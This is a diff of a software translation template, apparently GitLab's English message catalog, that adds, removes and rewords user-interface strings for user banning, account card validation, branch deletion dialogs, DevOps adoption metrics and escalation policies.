msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
